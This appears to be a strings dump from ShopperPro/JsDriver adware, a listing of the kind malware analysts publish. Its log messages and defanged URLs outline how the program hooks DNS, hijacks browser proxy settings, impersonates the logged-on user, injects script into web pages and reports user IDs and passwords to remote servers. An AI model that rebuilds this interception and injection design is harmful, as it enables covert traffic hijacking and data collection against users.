[CLspController::UpdateVersionStatus] New Status: %d

[CLspController::IsToAccelerate] Local ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Global ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Partner ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] iTunes ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] returns FALSE - status passthrough

[CLspController::IsToAccelerate] returns FALSE - g_PassThrough exists

[CLspController::IsToAccelerate] IP: %u.%u.%u.%u, Port: %u

[CLspController::StartAccelerationsEvent] ___Error OSSetEvent failed: %d

[CLspController::InitTunnelingState] g_PassThrough[ %s ] = %d

[CLspController::IsPartner] partner = %d

[CLspController::UpdateXMLRulesVersion] Version: %s (%s)

[CLspController::UpdateXMLRulesVersion] New Version: %s

[CLspController::IsIgnored] ---@@@ Port: %u @@@---

Downloader.exe

RecordingManager.exe

WebKit2WebProcess.exe

firefox.exe

iTunes.exe

[CLspController::DoLoad] Hook status %d

VVV.youtube.com

[CLspController::DoLoad] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::SetPassThrough] g_PassThrough[ %s ] = %d

PassThroughState

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData is Read-Only

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData == NULL

[CLspController::SetPassThrough]

[CLspController::UpdatedPartnerDisableList] PartnerDisableList = %s

[CLspController::CreateSharedMemory] ___Error CSharedMemory CreateCriticalSection: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::IsDomainExistInRules] Found - Template: %s

[CLspController::IsDomainExistInRules] Domain: %s

[CLspController::AddDnsResponse] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u, Ports: %u - %u

[CLspController::UpdateRedirectionIps] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

user32.dll

WININET.DLL

kernel32.dll

d/d/%d d:d:d::d

[CFullController::IsProxySupported] ___Error Create Proxy Controller

[CFullController::IsProxySupported] Create Proxy Controller...

[CFullController::SetPassThrough]

[CFullController::Init] ___Error to Create IHttpEngineConfiguration

[CFullController::Start] ___Error ProxyRes = %d, LspRes = %d

[CFullController::Stop] ___Error ProxyRes = %d, LspRes = %d

[CProxyController::SetVersionStatus] Status: %d -> %d

[CProxyController::GetVersionStatus] Status: %d

[CProxyController::Init] ___Error to Create IHttpEngineConfiguration

[CProxyController::IsAloud] FALSE - There is a pac file: %s

[HttpProxyServer::CreatePacFile] ___Error: ConfigPath::GetPath. LE: %d

[HttpProxyServer::CreatePacFile] ___Error: WriteRedirectRulesToPacFile. LE: %d

[CDriverManager::IoControl] DeviceIoControl failed: %d

[CDriverController::GetRedirectedConnectionInfo] ___Error GET_CONN %d

[CDriverController::GetRedirectedConnectionInfo] Port %d

[CDriverController::SetRedirectInfo] to port %d

[CDriverController::SetRedirectInfo] ___Error REDIRECT_ALL device %d

[CDriverController::SetRedirectInfo] ___Error SET_PORT device %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION mismatch R0 %d R3 %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION device %d

[CDriverController::SetRedirectInfo] ___Error open device %d

\\.\svd

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

RtmpListenPort

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\ShopperPro\JsDriver\%s\Original

SOFTWARE\ShopperPro\JsDriver\%s\Current

[CDnsProxyServer::is_in_redirection_rules] Found redirection Rule: %s

[CDnsProxyServer::load_dns_clients] IP: %s

[CDnsProxyServer::get_dns_servers] Dns Servers count: %d

[CDnsProxyServer::get_dns_servers] Dns Server: %s

[CDnsProxyServer::get_dns_servers] ___Error RegEnumKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] DhcpNameServer: %s

[CDnsProxyServer::get_dns_servers] NameServer: %s

[CDnsProxyServer::get_dns_servers] ___Error RegOpenKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] ___Error RegQueryInfoKey. LE: %d

[CDnsProxyServer::get_dns_servers] ___Error key: %s

SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

[CDnsProxyServer::Start] ___Error CAsyncUdpSocketServer<CDnsProxyServer>::Start. LE: %d

[CDnsProxyServer::Start] Local IP: %d.%d.%d.%d

[CDnsProxyServer::Start] ___Error SafeGetHostByName. LE: %d, Host: %s

[CDnsProxyServer::Start] Host name: %s

[CDnsProxyServer::Start] ___Error gethostname. LE: %d

[CDnsProxyServer::dns_reverse_lookup] Name: %s

[CDnsProxyServer::dns_reverse_lookup] IP: %s

[CDnsProxyServer::add_dns_client] IP: %s

%u.%u.%u.%u

[CDnsProxyServer::is_dns_client] IP: %s

[CDnsProxyServer::save_dns_clients] IP: %s

[CDnsProxyServer::dns_send_reply] @@@ Found IP: %s @@@

[CDnsProxyServer::dns_send_reply] Domain: %s

[CDnsProxyServer::OnRecv] ___Error %x - SendTo timeout to the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - Select timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - RecvFrom timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - SendTo the client the response from the original server

[CDnsProxyServer::OnRecv] ___Error Got from the original dns server a packet with invalid size of %d

[CDnsProxyServer::OnRecv] ___Error %x - Open new socket to forward dns query

[CDnsProxyServer::OnRecv] unsupported opcode: %d

[CDnsProxyServer::OnRecv] DNS query: %s

[CDnsProxyServer::OnRecv] DNS query from client Host: %s, Port: %d

[CDnsProxyServer::OnRecv] Got packet with invalid size of %d

StartPortRange

EndPortRange

</URL>

<URL>

CAcceleratedEventsThread::OnReportNoAccelerationReason

0.0.0.0

%s%lld%s

%s%d%s

<EMBED><URL>

[CAcceleratedEventsThread::ReportEmbedStreaming]

[CAcceleratedEventsThread::ReportStatistics]___Error empty param : URL Acc Url = %s, Normal URL = %s

[CAcceleratedEventsThread::ReportStatistics] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Acc URL = %s

%s%s%s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Normal URL = %s

[CAcceleratedEventsThread::ReportVideoID] XML = %s

<WATCH><URL>%s</URL></WATCH>

[CAcceleratedEventsThread::ReportVideoID] URL = %s

YOUTUBE.COM/GET_VIDEO?VIDEO_ID=

[CAcceleratedEventsThread::ReportFailureReason] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode URL = %s

[CAcceleratedEventsThread::ReportFailureReason]___Error empty param : URL Acc Url = %s, AccFailureReason = %s

[CAcceleratedEventsThread::OnReportStatistics]

[CAcceleratedEventsThread::ReportAccelerations]

[CAcceleratedEventsThread] - Start the Pipe Clients to the Engine & UI

[CAcceleratedEventsThread::ProcessEvent] ___Warning: Unsupported event (%d)

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

[CDNSResponse::AnalyzeResponse] Found IP: %u.%u.%u.%u

[Mine_GetAddrInfoW] nodename: %S

[Mine_GetAddrInfoExA] pName: %s

[Mine_GetAddrInfoExW] pName: %S

[Mine_getaddrinfo] nodename: %s

[CDNSInterceptor::Detour] GetAddrInfoExW - %d

[CDNSInterceptor::Detour] GetAddrInfoExA - %d

[CDNSInterceptor::Detour] GetAddrInfoW - %d

[CDNSInterceptor::Detour] getaddrinfo - %d

[CDNSInterceptor::Detour] gethostbyname - %d

[CDNSInterceptor::Detour] ___Error LoadLibrary ws2_32.dll

ws2_32.dll

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

[GZipWrapper::InflateGzipData] ___Error ReadString : %s

[GZipWrapper::InflateGzipData] ___Error Open file : %s

[GZipWrapper::InflateGzipData] ___Error WriteDataToFile : %s

GZipWrapper_%d.tmp

C:\ProgramData\tmp\

http_port

prefs.js

user.js

user_pref("network.proxy.

autoconfig_url

[CAsyncUpdate::DownloadProgress] Downloaded: %d, Total: %d

[CAsyncUpdate::StartUpdate] Download URL: %s

[CAsyncUpdate::StartUpdate] ___Error Sennd Update Command: %s

[CAsyncUpdate::StartUpdate] Update Page: %s

va_conf.dat

[CAsyncUpdate::DownloadComplete] ___Error Send Update Command: %s

[CAsyncUpdate::DownloadComplete] Result: %d, File: %s

1.0.0.0

Temp.dll

[CAsyncUpdate::AnalizeXMLResults] ___Error Trial DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Trial.dat saved to: %s

Trial.dat

RESULT.VA_TRIAL.CONFIG.DATA

Temp.zip

RESULT.VA_RES.RESOURCES.DOWNLOAD_URL

RESULT.VA_RES.RESOURCES.VERSION

RESULT.BLACKLIST.DATA

RESULT.SENDLOGRULE

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_VIDEO_STRING

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_FRAME_STRING

RESULT.ADS.SHOW

[CAsyncUpdate::AnalizeXMLResults] ___Error updating Rules DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Rules saved to: %s

RESULT.VA.CONFIG.SITES.ZIP

RESULT.VA.CONFIG.SITES.XMLVERSION

RESULT.VA.CONFIG.SITES.DATA

[CAsyncUpdate::UpdateSearchComplete] version status = %d

[CAsyncUpdate::UpdateSearchComplete] Result: %d, UpdateExist: %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Removing %s. Err = %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Renaming %s to %s. Err = %d

Old.dll

[DownloadMHTsStatus::DownloadComplete] ___Error: Renaming %s to %s. Err = %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

LastNum%d

LastID%d

1.1.4

%d/%d/%d %d:%d:%d

%s.PARAM

%s.ID

.CONDITIONS.CONDITION[%d]

.LANDING_URL

.ICON

.TOOLTIP

.NOTIFICATION_TYPE

.VALIDATE

.EXPIRATION_HOURS

.EXPIRATION_TIME

.NUM_OF_ICONS

.ANIMATION_TIME

.DISPLAY_TIME

.TYPE

.NUMBER

RESULT.LAMP

RESULT.ALERT

[Core::ShouldUpdate] %s

RESULT.LICENSE.EXPIRATION

RESULT.LICENSE.STATUS

RESULT.LASTERROR

[Core::RequestURL] Filename = %s, URL = %s

RESULT.USER.DAUI

RESULT.ANON.PW

RESULT.ANON.ID

RESULT.USER.PW

RESULT.USER.ID

[Core::AnalyzeXMLResult] Filename = %s

RESULT.STATS.COLLECT

RESULT.DISABLED_PARTNERS

RESULT.UPDATE.PAGE_URL

RESULT.UPDATE.DOWNLOAD_FILENAME

RESULT.UPDATE.DOWNLOAD_URL

RESULT.UPDATE.VERSION

RESULT.UPDATE.EXIST

Core.log

ddd

ddd

2.0.0.0

%DOMAIN%

%s=%s

&OldUserID=%s&OldPassword=%s

%s?%s

hXXp://online.%DOMAIN%.com/online/updateSBPID.aspx

CV=[core-version]&ProductID=[sb-pid]&UserID=[sb-uid]&Password=[sb-upw]&OS=[sb-os]

Password

[Core::SendInfo] Filename = %s, URL = %s

hXXp://online.%DOMAIN%.com/online/Report.aspx

[Core::HitStats] URL = %s

hXXp://pix.%DOMAIN%.com

[Core::BuildUpdateURL] URL = %s

&ElapsedTime=%d

[Core::BuildUpdateURL] ___ALERT___ Alert Info = %s

&DAUI=%s

&ActivationCode=%s&ActivationEmail=%s

%s?%s&V=[sb-ve]&VS=[sb-vs]&Beta=[sb-beta]&Aff=[sb-aff]&BundleID=[sb-bundle]&BrandID=[sb-brand]&PartnerList=[sb-partners]

[Core::CheckForUpdates] RequestURL FAILED

[Core::CheckForUpdates] RequestURL SUCCEEDED

[Core::CheckForUpdates] URL = %s

hXXp://online.%DOMAIN%.com/online/update.aspx

[Core::PerformAsyncUpdateCheck] URL = %s

&SBPIDS=%d

[Core::FindRegistrationInfoByKey] VA Product Found

[Core::FindRegistrationInfoByKey] DAP Product Found

[Core::FindRegistrationInfoByKey] Password is %s

[Core::FindRegistrationInfoByKey] SBPID is %s

[Core::FindRegistrationInfoByKey] Product is %s

[Core::FindRegistrationInfoByKey]

[Core::FindRegistrationInfo] ___Error open key %s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from %s

[Core::FindRegistrationInfo] - CurrentUSDKey is %s

[Core::FindRegistrationInfo] - Enum HKEY_CURRENT_USER\%s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from product key

[Core::RegisterProduct] RequestURL Fauled err = %d

[Core::RegisterProduct] RequestURL Succeeded

[Core::RegisterProduct] URL = %s

&LastResponse=%s

&TF=%s

&Retry=%d&LE=%d

hXXp://online.%DOMAIN%.com/online/Register.aspx

[Core::GenerateAnonymousID] URL = %s

hXXp://online.%DOMAIN%.com/online/RegisterAnon.aspx

[Core::PingServer] URL = %s

hXXp://online.%DOMAIN%.com/online/ka.aspx

InternetReadFile failed: %d

WriteFile failed: %d

Create output file failed: %d

QueryStatus not OK: %d

HttpQueryInfo failed: %d

InternetOpenUrl failed: %d

InternetOpen failed: %d

Content-Disposition: form-data; name="%s"

XXX

--%s--

Content-Type:multipart/form-data;boundary=%s

WaitingPost.xml

%%X

<?xml version="1.0" encoding="%s"?>

-%c%c%c%c%c%c%c%c%c%c

deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly

inflate 1.1.4 Copyright 1995-2002 Mark Adler

()$^.* ?[]|\-{},:=!

safari.exe

opera.exe

itunes.exe

iexplore.exe

chrome.exe

(build %d)

Windows 2000

Windows XP

Web Edition

Windows Server 2003,

Windows XP Professional x64 Edition

Windows Home Server

Windows Storage Server 2003

Windows Server 2003 R2,

Web Server Edition

Windows Server 2008 R2

Windows 8

Windows 7

Windows Server 2008

Windows Vista

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d - Written %d/%d bytes

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\locale

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - html file size unknown - ignore this request (Response)

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - Try to Inject script... (Response)

[Inject OnHeader] URL %s, type %s, length %s, trans.encoding %s, cont.encoding %s

hXXp://repjs.shopper-pro.com/app/ping.ashx?product=ShopperProJs&action=%s&it=%d&os=%s&Rnd=%d&v=%s&usid=%s&aff=JS%s&pixguid=%s&text=%s

ProxyExtensionInj: can't open database1_0_0.json

database1_0_0.json

ProxyExtensionInj: can't open Config.json

Config.json

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Total written %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - injected %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error writing new header

[ProxyExtensionInj::OnHeader] FDM=%d -

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser ParseHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser Initialize

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error BuildHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpFileDownloadMgr

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpProxyServer

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%%SID%%

%%USERID%%

%%SPARAM%%

%%SPARAMDATE%%

%%SPARAMPROD%%

%%SPARAMSUB%%

%%COUNTRY%%

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - /HEAD position was found: %d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error /HEAD position was not found

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error uncompress: %d

[ProxyExtensionInj::InjectScriptToWatchPage] Crash fix FDM=%d (%d),Req:%d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Parsing Watch page file for Script injection

[InjHttpProxyServer]

[InjHttpProxyLocal::InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::~InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): After writing %d bytes into upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Going to write the %d bytes into the upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Read %d bytes from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Reading from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[InjFileDownloadMgr] FDM=%d

[InjHttpProxyRemote::InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::ConnectToDomain] FAILED FDM=%d (%d),Req:%d

[InjHttpProxyRemote::~InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Request was written to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Going to write request to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Reading from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

InjHttpProxyRemote::WriteCachedBufferToSocket

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

pHttpProxyWorker

[InjHttpProxyServer::GetFileDownloadManager] FDM=%d for Worker: %d, IP: %s, Port: %d, was found.

[InjHttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[InjHttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[InjHttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP: %s, Port: %d, was created.

HttpProxyServer::GetDownloader

[InjHttpProxyServer::GetFileDownloadManager] FDM not found - Creating a new one. (Worker: %d, IP: %s, Port: %d)

[InjHttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker: %d, IP: %s, Port: %d.

[InjHttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[InjHttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

HttpProxyServer::OnHeader

[ProxyServer::StopAcceleration] Proxy type: %d

[ProxyServer::Stop] Proxy type: %d - Done

[ProxyServer::Stop] - delete HttpCookieJar

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopped !

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopping...

[ProxyServer::Stop] - HTTP proxy - Stopped !

[ProxyServer::Stop] - HTTP proxy - Stopping...

[ProxyServer::Stop] Proxy type: %d

[ProxyServer::CreateHttpProxyServer] *** HTTP Proxy Server - Created and Started ***

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Start.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already started

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Initialize.

m_pIHttpProxyServer

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::CreateInstance.

[ProxyServer::CreateHttpProxyServer] ___Error allocate HttpCookieJar.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already created

ProxyServer::CreateHttpProxyServer

[ProxyServer::Start] Proxy type: %d - Done.

[ProxyServer::Start] *** HTTP proxy was started ***

[ProxyServer::Start] ___Error stating the HTTP proxy.

[ProxyServer::Start] ___Error Proxy type not supported. (Requested: %d).

[ProxyServer::Start] Proxy type: %d

[ProxyServer::AcceptConnection] *** Handover to HTTP ***

[AccelerationConfiguration::OnError] XML parse failed: %s

[CAccelerationStats::Write] Written: %d, Total: %lld, Bps: %d

[CAccelerationStats::Write] Written: %d

[CAccelerationStats::AddRequest] Req:%d - Request was added

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetBuffer

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: BuildHeader

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetRanges

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: ParseHeader

[CAccelerationStats::HandleNewRequest] FDM=%d, Req:%d (IP: %s, Port: %d) - Request was added.

[CAccelerationStats::HandleNewRequest] ___Error: The request was not added. FDM=%d, Req:%d (IP:%s, port:%d).

[CAccelerationStats::HandleNewRequest] ___Error initializing FDM=%d.

